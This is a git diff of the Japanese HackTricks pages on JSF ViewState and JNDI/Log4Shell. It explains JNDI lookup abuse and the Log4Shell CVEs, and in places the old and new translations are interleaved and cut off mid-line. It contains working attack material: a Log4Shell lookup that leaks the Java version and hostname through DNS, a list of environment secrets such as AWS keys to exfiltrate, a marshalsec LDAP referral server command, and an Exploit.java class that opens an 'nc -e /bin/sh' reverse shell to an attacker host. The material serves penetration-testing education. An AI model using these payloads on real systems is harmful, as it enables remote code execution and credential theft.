|
||||
大規模な検索を行うために、サブドメインの列挙と組み合わせて、`badsecrets` [**BBOT**]()モジュールを使用することができます。
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
![](https://user-images.githubusercontent.com/24899338/227626488-e45e99b2-0f6d-451e-8a43-7d6db75098de.png)
|
||||
|
||||
|
||||
# 最終的な考察
|
||||
|
||||
このブログ記事で紹介されたJSF ViewStatesとそれらの危険性に関するほとんどの事実は新しいものではありませんが、これほど簡潔な形でまとめられたことはなかったようです。それは、見かけ上は無害な設定変更でも深刻な脆弱性につながる可能性があることを示しています。
|
||||
|
||||
\=> 問題の一つは、セキュリティ研究者と実際に使用および設定する可能性のある危険なライブラリを使用する開発者の間での知識の移転が十分に行われていないようです。
|
||||
|
||||
# 参考文献
|
||||
投稿をチェックしてください:
|
||||
|
||||
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,22 @@
|
|||
```markdown
|
||||
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>で</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでのテクノロジースタック全体にわたる問題を見つけて、より早く修正できるようにします。今日[**無料で試してみてください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderはあなたの攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) 今日。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -25,120 +24,114 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## 基本情報
|
||||
|
||||
JNDIは1990年代後半からJavaに存在しています。これは、名前サービスを使用してディレクトリを介してデータを見つけることを**可能にするディレクトリサービス**です。名前サービスは値(バインディング)を関連付けるため、ディレクトリ内の参照を通じて取得することができます。
|
||||
JNDIは1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが名前付けシステムを介してデータやオブジェクトを見つけることを可能にします。さまざまなディレクトリサービスをサポートするサービスプロバイダインターフェース(SPI)を介して、リモートJavaオブジェクトを含むさまざまなシステムからデータを取得できます。一般的なSPIには、CORBA COS、Java RMI Registry、LDAPなどがあります。
|
||||
|
||||
JNDIには、さまざまなディレクトリサービスを使用するための**サービスプロバイダインターフェース**(SPI)が多数あります。JNDIの目的は、他のシステムから非常に簡単にデータを取得することです。リモートでJavaオブジェクトを取得することさえできますが、ここに問題が発生します。
|
||||
### JNDI Naming Reference
|
||||
JNDI Naming Referencesを使用してJavaオブジェクトを格納および取得できます。これには2つの形式があります:
|
||||
|
||||
例えば、**CORBA COS**(Common Object Service)、**Java RMI**(Remote Method Interface)レジストリ、**LDAP**用のSPIが存在します。
|
||||
- **Reference Addresses**:オブジェクトの場所を指定します(例:_rmi://server/ref_)、指定されたアドレスから直接取得できます。
|
||||
- **Remote Factory**:リモートファクトリクラスを参照します。アクセス時に、クラスはリモート位置からダウンロードされてインスタンス化されます。
|
||||
|
||||
![](<../../.gitbook/assets/image (627).png>)
|
||||
ただし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として:
|
||||
|
||||
### JNDIネーミングリファレンス
|
||||
- **RMI**:JDK 7u21以降、デフォルトで`java.rmi.server.useCodeabseOnly = true`に設定され、リモートオブジェクトの読み込みが制限されます。セキュリティマネージャーはさらに読み込むことができるものを制限します。
|
||||
- **LDAP**:JDK 6u141、7u131、8u121以降、デフォルトで`com.sun.jndi.ldap.object.trustURLCodebase = false`に設定され、リモートで読み込まれたJavaオブジェクトの実行をブロックします。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。
|
||||
- **CORBA**:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。
|
||||
|
||||
Javaオブジェクトを取得するためには、それらをシリアライズしてバイナリ表現を保存することができます。しかし、これが機能しないケースもあります(データが大きすぎるなどの理由で)。\
|
||||
Javaオブジェクトをより簡単に保存するために、**ネーミングリファレンスが使用されます**。\
|
||||
ネーミングリファレンスには2種類あります:
|
||||
ただし、JNDIリンクを解決する責任がある**Naming Manager**には組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや既存のアプリケーションコンポーネント(ガジェット)の悪用による悪意のあるコードの実行が可能になります。
|
||||
|
||||
* **リファレンスアドレス**:オブジェクトのアドレス(_rmi://server/ref_)を示し、**そのアドレスからオブジェクトが取得されます**。
|
||||
* **リモートファクトリ**:この場合、JNDIリファレンスに**リモートファクトリクラス**が指定され、JNDIアドレスに従ってリモートクラスがリモートファクトリから取得され、**クラスがダウンロードされロードされます**。
|
||||
悪用可能なURLの例:
|
||||
|
||||
これは危険です。なぜなら、**攻撃者がシステムに任意のオブジェクトをロードさせ、任意のコードを実行させる可能性がある**からです。したがって、いくつかの保護措置が存在します:
|
||||
- _rmi://attacker-server/bar_
|
||||
- _ldap://attacker-server/bar_
|
||||
- _iiop://attacker-server/bar_
|
||||
|
||||
* **RMI**:`java.rmi.server.useCodeabseOnly = true`は、**JDK 7u21**以降のデフォルトであり、カスタムJavaオブジェクトをリモートでロードすることを許可しません。さらに、保護が無効になっていても、ロードできる内容を設定する**セキュリティマネージャ**が強制されます。
|
||||
* **LDAP**:`com.sun.jndi.ldap.object.trustURLCodebase = false`は、**JDK 6u141, 7u131, 8u121**以降のデフォルトであり、任意のJavaオブジェクトのダウンロードを実行することは許可されません。しかし、これが`true`に設定されている場合は実行され、**セキュリティマネージャは強制されません**。
|
||||
* **CORBA**:設定するプロパティはありませんが、**セキュリティマネージャは常に強制されます**。
|
||||
保護措置があるにもかかわらず、主に信頼できないソースからのJNDIの読み込みに対する保護が欠けていることや、既存の保護をバイパスする可能性があるため、脆弱性が残っています。
|
||||
|
||||
さらに、JNDIリンクに従う**ネーミングマネージャ**には、セキュリティマネージャや設定するプロパティがないため、常にオブジェクトを取得しようとします。
|
||||
|
||||
ご覧のとおり、**一般的な保護は十分ではありません**。なぜなら、ランダムなアドレスからJNDIをロードすることに対する**保護がなく**、RMI、LDAP、CORBAの保護は、設定によっては、**任意のJavaオブジェクトをロードする**ため、またはアプリケーションに存在するコンポーネントを悪用して、**任意のコードを実行するガジェットとしてJavaオブジェクトをロードする**ためにバイパスされる可能性があります。
|
||||
|
||||
JNDIを悪用するURLの例:
|
||||
|
||||
* _rmi://attacker-server/bar_
|
||||
* _ldap://attacker-server/bar_
|
||||
* _iiop://attacker-server/bar_
|
||||
|
||||
### JNDI例
|
||||
### JNDIの例
|
||||
|
||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||
|
||||
**`PROVIDER_URL`**を設定していても、異なるURLをlookupで指定することができ、アクセスされます:`ctx.lookup("<attacker-controlled-url>")`。これが攻撃者がシステムから任意のオブジェクトをロードするために悪用するものです。
|
||||
**`PROVIDER_URL`**を設定していても、lookupで異なるものを指定することができ、アクセスされます:`ctx.lookup("<attacker-controlled-url>")` これが攻撃者が悪用して任意のオブジェクトを彼が制御するシステムから読み込む方法です。
|
||||
|
||||
### CORBA
|
||||
### CORBA概要
|
||||
|
||||
**Interoperable Object Reference (IOR)** は、リモートCORBAサーバー上のオブジェクトを一意に識別するCORBAまたはRMI-IIOPリファレンスです。IORはバイナリ形式またはバイナリの文字列16進表現であることができます。\
|
||||
その他の情報の中で、**Type ID**(インターフェースの一意の識別子)と**Codebase**(スタブクラスを取得するためのリモートロケーション)を含んでいます。\
|
||||
CORBAは**デフォルトでは悪用できない**ことに注意してください。\
|
||||
それには以下が必要です:
|
||||
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。このリファレンスには、次のような重要な情報が含まれます:
|
||||
|
||||
* **セキュリティマネージャがインストールされている必要があります**
|
||||
* セキュリティマネージャによって攻撃者が制御する**codebaseへの接続が許可されている必要があります**。これを許可する方法はいくつかあります:
|
||||
* ソケット権限:`permissions java.net.SocketPermission "*:1098-1099", "connect";`
|
||||
* すべてのファイルを読むことを許可するファイル権限:`permission java.io.FilePermission "<<ALL FILES>>", "read";`
|
||||
* 攻撃者がエクスプロイト(クラスまたはzipアーカイブ)をアップロードできるフォルダーを読むためのファイル権限
|
||||
- **Type ID**:インターフェースの一意の識別子。
|
||||
- **Codebase**:スタブクラスを取得するためのURL。
|
||||
|
||||
デフォルトでこれを許可する**ベンダーのポリシーが見つかるかもしれません**。
|
||||
CORBAは基本的に脆弱ではありません。通常、セキュリティを確保するには次の手順が必要です:
|
||||
|
||||
### RMI
|
||||
- **セキュリティマネージャーのインストール**。
|
||||
- セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは、ソケット権限(例:````permissions java.net.SocketPermission "*:1098-1099", "connect";````)や、悪意のあるファイルが配置される特定のディレクトリに対するファイル読み取り権限(普遍的に(````permission java.io.FilePermission "<<ALL FILES>>", "read";````)または)などが含まれます。
|
||||
|
||||
前述の**JNDIネーミングリファレンスセクションで指摘されたように、RMIはデフォルトでは任意のJavaクラスをダウンロードすることは許可されません**。さらに、許可されていたとしても、**セキュリティマネージャのポリシーをバイパスする必要があります**(前のセクションで、これがCORBAで可能であることを学びました)。
|
||||
ただし、一部のベンダーポリシーは寛大であり、これらの接続をデフォルトで許可する場合があります。
|
||||
|
||||
### RMIコンテキスト
|
||||
|
||||
RMI(Remote Method Invocation)に関しては、状況は多少異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも重要なことです。
|
||||
|
||||
### LDAP
|
||||
|
||||
まず、検索とルックアップを区別する必要があります。\
|
||||
**検索**は`ldap://localhost:389/o=JNDITutorial`のようなURLを使用してLDAPサーバーからJNDITutorialオブジェクトを見つけ、**その属性を取得します**。\
|
||||
**ルックアップ**は、名前にバインドされている**何でも取得したい**ときに使用される**ネーミングサービス**のためのものです。
|
||||
まず、**Search**と**Lookup**を区別する必要があります。\
|
||||
**Search**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を**取得**します。\
|
||||
**Lookup**は、**名前付けサービス**向けであり、**名前にバインドされているものを取得**したいときに使用されます。
|
||||
|
||||
LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出された場合、返されるオブジェクトは再構築されます**。
|
||||
LDAP検索が`SearchControls.setReturningObjFlag() with `true`で呼び出された場合、返されたオブジェクトは再構築されます。
|
||||
|
||||
したがって、これらのオプションを攻撃する方法はいくつかあります。\
|
||||
**攻撃者はLDAPレコードにペイロードを注入して、それらを収集するシステムで実行される**可能性があります(LDAPサーバーにアクセスできれば、数十台のマシンを侵害するのに非常に有用です)。この攻撃を行う別の方法は、例えばLDAP検索で**MitM攻撃を実行する**ことです。
|
||||
**攻撃者はLDAPレコードにペイロードを導入し、それらを実行されるシステムに導入**することができます(LDAPサーバーにアクセスできる場合、多数のマシンを侵害するのに非常に便利です)。これを悪用する別の方法は、たとえばLDAP検索で**MitM攻撃**を実行することです。
|
||||
|
||||
アプリが**JNDI LDAP URLを解決するようにすることができれば**、検索されるLDAPを制御でき、エクスプロイト(log4shell)を送り返すことができます。
|
||||
アプリケーションがJNDI LDAP URLを解決するようにすることができる場合、検索されるLDAPを制御でき、エクスプロイト(log4shell)を送り返すことができます。
|
||||
|
||||
#### デシリアライゼーションエクスプロイト
|
||||
#### シリアル化エクスプロイト
|
||||
|
||||
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
|
||||
|
||||
**エクスプロイトはシリアライズされ**、デシリアライズされます。\
|
||||
`trustURLCodebase`が`true`の場合、攻撃者は自分のクラスをcodebaseに提供できます。そうでない場合は、クラスパス内のガジェットを悪用する必要があります。
|
||||
**エクスプロイトはシリアル化**され、デシリアル化されます。\
|
||||
`trustURLCodebase`が`true`の場合、攻撃者はコードベースに自分のクラスを提供できます。そうでない場合は、クラスパス内のガジェットを悪用する必要があります。
|
||||
|
||||
#### JNDIリファレンスエクスプロイト
|
||||
|
||||
**JavaFactoryリファレンスを使用して**このLDAPを攻撃する方が簡単です:
|
||||
このLDAPを攻撃するのは**JavaFactoryリファレンス**を使用する方が簡単です:
|
||||
|
||||
![](<../../.gitbook/assets/image (660) (1) (1).png>)
|
||||
|
||||
## Log4Shell脆弱性
|
||||
|
||||
この脆弱性はLog4jに導入されており、`${prefix:name}`の形式で[**特別な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしています。ここで`prefix`は[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の中のさまざまなものの1つであり、`name`は評価されるべきです。例えば、`${java:version}`は現在実行中のJavaのバージョンです。
|
||||
この脆弱性は、Log4jが`${prefix:name}`形式の[**特別な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしているために導入されます。ここで、`prefix`はさまざまな[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきものです。たとえば、`${java:version}`は現在実行中のJavaのバージョンです。
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)では、次のように`jndi` Lookupが追加されました:"JndiLookupを使用すると、JNDIを介して変数を取得できます。デフォルトではキーはjava:comp/env/でプレフィックスが付けられますが、キーに**":"が含まれている場合はプレフィックスは追加されません**。"
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)は`jndi` Lookup機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的に`java:comp/env/`で接頭辞が付けられます。ただし、キー自体に**":"**が含まれる場合、このデフォルトの接頭辞は適用されません。
|
||||
|
||||
キーに**":"が含まれている**場合、`${jndi:ldap://example.com/a}`のように、**プレフィックスはなく**、**LDAPサーバーにオブジェクトが問い合わせられます**。そして、これらのLookupsはLog4jの設定だけでなく、ログが記録されるときにも使用できます。
|
||||
キーに**":"**が含まれる場合、`${jndi:ldap://example.com/a}`のように、**接頭辞はなく、LDAPサーバーがオブジェクトをクエリ**します。これらのLookupsは、Log4jの構成およびログ行の記録時の両方で使用できます。
|
||||
|
||||
したがって、RCEを取得するために必要なのは、**ユーザーが制御する情報を処理する脆弱なバージョンのLog4j**です。そして、Javaアプリケーションが情報をログに記録するために広く使用されているライブラリであるため(インターネットに面したアプリケーションを含む)、例えばUser-Agentのような受信HTTPヘッダーをログに記録することが非常に一般的でした。ただし、log4jはHTTP情報だけでなく、開発者が指定した**任意の入力やデータをログに記録するために使用されます**。
|
||||
したがって、**ユーザーが制御する情報を処理する脆弱なLog4jのバージョン**を取得するためには、**唯一必要なもの**です。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるため(インターネット向けアプリケーションも含まれます)、例えばHTTPヘッダーのような情報をログに記録するためにlog4jが使用されることが非常に一般的でした。ただし、log4jはHTTP情報だけでなく、開発者が指定した任意の入力やデータをログに記録するために使用されます。
|
||||
|
||||
## Log4Shell CVE
|
||||
## Log4Shell関連CVEの概要
|
||||
|
||||
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: 元の'Log4Shell'脆弱性は、[信頼できないデシリアライゼーション](https://cwe.mitre.org/data/definitions/502.html)の欠陥です。重大度でクリティカルと評価され、この脆弱性は[CVSS](https://www.first.org/cvss/)スケールで10をスコアし、**認証されていない攻撃者にリモートコード実行(RCE)能力を付与し**、システムの完全な乗っ取りを可能にします。\
|
||||
\
|
||||
11月24日にAlibaba Cloud Security TeamのChen ZhaojunがApache
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Critical]**
|
||||
この脆弱性は、2.0-beta9から2.14.1までのバージョンに影響を与える`log4j-core`コンポーネントの重大な**信頼されていないデシリアライゼーションの欠陥**であり、**リモートコード実行(RCE)**を可能にします。攻撃者がシステムを乗っ取ることができます。この問題は、アリババクラウドセキュリティチームのChen Zhaojunによって報告され、さまざまなApacheフレームワークに影響を与えます。バージョン2.15.0の初期の修正は不完全でした。防御のためのSigmaルールが利用可能です([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml)、[Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml))。
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Critical]**
|
||||
最初は低評価でしたが後に重要度が引き上げられたこのCVEは、CVE-2021-44228の2.15.0の不完全な修正からの**サービス拒否(DoS)**の欠陥です。これは、非デフォルトの構成に影響を与え、攻撃者がクラフトされたペイロードを使用してDoS攻撃を引き起こすことができます。[ツイート](https://twitter.com/marcioalm/status/1471740771581652995)がバイパス方法を示しています。この問題は、バージョン2.16.0および2.12.2でメッセージルックアップパターンを削除し、デフォルトでJNDIを無効にすることで解決されています。
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-202
|
||||
```bash
|
||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||
```
|
||||
### **検証**
|
||||
|
||||
前に挙げたプラットフォームのいくつかは、リクエストされたときにログに記録される変数データを挿入することを許可します。\
|
||||
これは2つのことに非常に役立ちます:
|
||||
以前にリストされたいくつかのプラットフォームでは、リクエスト時にログに記録される変数データを挿入することができます。\
|
||||
これは2つのことに非常に役立ちます:
|
||||
|
||||
* 脆弱性を**検証**するため
|
||||
* 脆弱性を悪用して情報を**抽出**するため
|
||||
* 脆弱性を悪用して情報を**外部流出**するため
|
||||
|
||||
例えば、次のようなリクエストをすることができます:\
|
||||
または `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** そして、**環境変数の値を含むDNSリクエストが受信された場合**、アプリケーションが脆弱であることがわかります。
|
||||
たとえば、次のようなリクエストを送信できます:\
|
||||
または`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**のようなもので、**環境変数の値がDNSリクエストで受信された場合**、アプリケーションが脆弱であることがわかります。
|
||||
|
||||
抽出しようとする他の情報:
|
||||
他にも**外部流出**しようとする情報があります:
|
||||
```
|
||||
${env:AWS_ACCESS_KEY_ID}
|
||||
${env:AWS_CONFIG_FILE}
|
||||
|
@ -192,34 +185,22 @@ Any other env variable name that could store sensitive information
|
|||
### RCE 情報
|
||||
|
||||
{% hint style="info" %}
|
||||
**JDKのバージョンが6u141、7u131、8u121より高いホストは、LDAPクラスローディング**ベクターに対して保護されますが、**逆シリアライズベクターに対しては保護されません**。これは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで無効になっているため、JNDIはLDAPを使用してリモートコードベースをロードできないからです。しかし、逆シリアライズと変数の漏洩はまだ可能であることを強調する必要があります。
|
||||
これは、**言及されたバージョンを悪用する**ためには、Javaアプリケーション上に存在する**信頼できるガジェットを悪用する**必要があることを意味します(例えばysoserialやJNDIExploitを使用)。しかし、より低いバージョンを悪用する場合、任意のクラスをロードして実行させることができます(これにより攻撃が容易になります)。
|
||||
JDK バージョンが 6u141 より上、7u131 より上、または 8u121 より上のホストは、LDAP クラスローディング攻撃ベクトルに対して保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase` のデフォルトの非アクティブ化によるもので、これにより JNDI が LDAP を介してリモートコードベースをロードすることが防止されます。ただし、これらのバージョンは**逆シリアル化攻撃ベクトルに対しては保護されていない**ことに注意することが重要です。
|
||||
|
||||
**詳細情報**(RMIやCORBAベクターの制限事項など)については、前のJNDI Naming Referenceセクションを**確認するか**、[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)をご覧ください。
|
||||
これらの高い JDK バージョンを悪用しようとする攻撃者は、Java アプリケーション内で**信頼されたガジェット**を利用する必要があります。この目的のためには、ysoserial や JNDIExploit などのツールがよく使用されます。一方、低い JDK バージョンを悪用することは比較的簡単です。これらのバージョンは、任意のクラスをロードして実行するように操作することができます。
|
||||
|
||||
**詳細情報**(_RMI および CORBA ベクトルの制限など_)については、**前の JNDI Naming リファレンスセクション**を参照するか、[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) をご覧ください。
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsecを使ったカスタムペイロード
|
||||
### RCE - カスタムペイロードを使用した Marshalsec
|
||||
|
||||
_このトリックは完全に**THM box**から取られています:_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)___
|
||||
これを **THM ボックス** でテストできます: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
このエクスプロイトでは、ツール[**marshalsec**](https://github.com/mbechler/marshalsec)([**ここからjarバージョンをダウンロード**](https://github.com/RandomRobbieBF/marshalsec-jar))を使用して、LDAPリファラルサーバーを作成し、接続をセカンダリHTTPサーバーにリダイレクトして、そこでエクスプロイトが提供されます:
|
||||
ツール [**marshalsec**](https://github.com/mbechler/marshalsec)(jar バージョンは[**こちら**](https://github.com/RandomRobbieBF/marshalsec-jar)で利用可能)を使用します。このアプローチは、LDAP リファラルサーバーを確立して、接続を二次的な HTTP サーバーにリダイレクトし、そこで脆弱性がホストされます。
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec("nc -e /bin/sh attacker_ip 4444");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
被害者にリバースシェルを送信するコードをロードさせるために、Exploit.javaという名前のJavaファイルを作成できます。上記の内容を含めます。
|
||||
ターゲットに逆シェルコードを読み込ませるために、以下の内容で`Exploit.java`という名前のJavaファイルを作成します:
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
|
@ -231,43 +212,41 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
Javaファイルをクラスファイルにコンパイルするには、`javac Exploit.java -source 8 -target 8`を使用します。次に、クラスファイルが含まれるディレクトリで**HTTPサーバー**を起動します: `python3 -m http.server`。**marshalsec LDAPサーバー**がこのHTTPサーバーを参照していることを確認してください。
|
||||
|
||||
**クラスファイル**を作成するには、`javac Exploit.java -source 8 -target 8` を実行し、その後、クラスファイルが作成された同じディレクトリで **HTTPサーバー** を起動します: `python3 -m http.server`。\
|
||||
**marshalsecのLDAPサーバーは、このHTTPサーバーを指している必要があります**。\
|
||||
その後、以下のようなペイロードを送信することで、**脆弱なウェブサーバーにエクスプロイトクラスを実行させる**ことができます:
|
||||
感染しやすいWebサーバーでのエクスプロイトクラスの実行をトリガーするには、次のようなペイロードをディスパッチします:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
_以下の点に注意してください。JavaがLDAPを使用してリモートコードベースをロードするように設定されていない場合、このカスタムエクスプロイトは機能しません。その場合、信頼できるクラスを悪用して任意のコードを実行する必要があります。_
|
||||
**注意:** この脆弱性は、Javaの構成がLDAP経由でのリモートコードベースの読み込みを許可していることに依存しています。これが許可されていない場合は、任意のコードを実行するための信頼できるクラスを悪用することを検討してください。
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
log4shellの発見後、何らかの理由で作者がこのプロジェクトをgithubから削除したことに注意してください。キャッシュされたバージョンは[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)で見つけることができますが、作者の決定を尊重したい場合は、この脆弱性を悪用するために別の方法を使用してください。
|
||||
一部の理由により、このプロジェクトはlog4shellの発見後に作者によってgithubから削除されました。[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)でキャッシュされたバージョンを見つけることができますが、作者の決定を尊重したい場合は、この脆弱性を悪用する別の方法を使用してください。
|
||||
|
||||
さらに、wayback machineではソースコードを見つけることができないので、ソースコードを分析するか、実行している内容がわからないjarを実行するかのどちらかです。
|
||||
さらに、ソースコードはwayback machineには見つからないため、ソースコードを分析するか、実行するjarを実行することによって、何を実行しているのかわからないことを理解して実行する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
